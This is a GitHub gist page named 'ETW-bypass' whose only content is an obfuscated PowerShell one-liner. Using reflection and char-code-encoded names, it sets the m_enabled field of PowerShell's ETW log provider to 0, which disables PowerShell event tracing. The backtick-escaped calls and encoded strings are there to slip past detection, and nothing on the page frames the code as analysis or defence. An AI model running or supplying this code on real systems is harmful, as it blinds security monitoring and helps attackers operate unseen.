Skip to content

Instantly share code, notes, and snippets.

@m8r1us

m8r1us/ETW-bypass

Created December 10, 2024 13:02
Show Gist options
  • Save m8r1us/79b35c3d3d5240e1ffb61fe90218f750 to your computer and use it in GitHub Desktop.
Save m8r1us/79b35c3d3d5240e1ffb61fe90218f750 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
ETW-bypass
[System.Diagnostics.Eventing.EventProvider]."G`etField"(-join([char[]](109,95,101,110,97,98,108,101,100)),-join([char[]](78,111,110,80,117,98,108,105,99,44,73,110,115,116,97,110,99,101)))."S`etValue"([Ref].Assembly."G`etType"(-join([char[]](83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,84,114,97,99,105,110,103,46,80,83,69,116,119,76,111,103,80,114,111,118,105,100,101,114)))."G`etField"(-join([char[]](101,116,119,80,114,111,118,105,100,101,114)),-join([char[]](78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99)))."G`etValue"($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment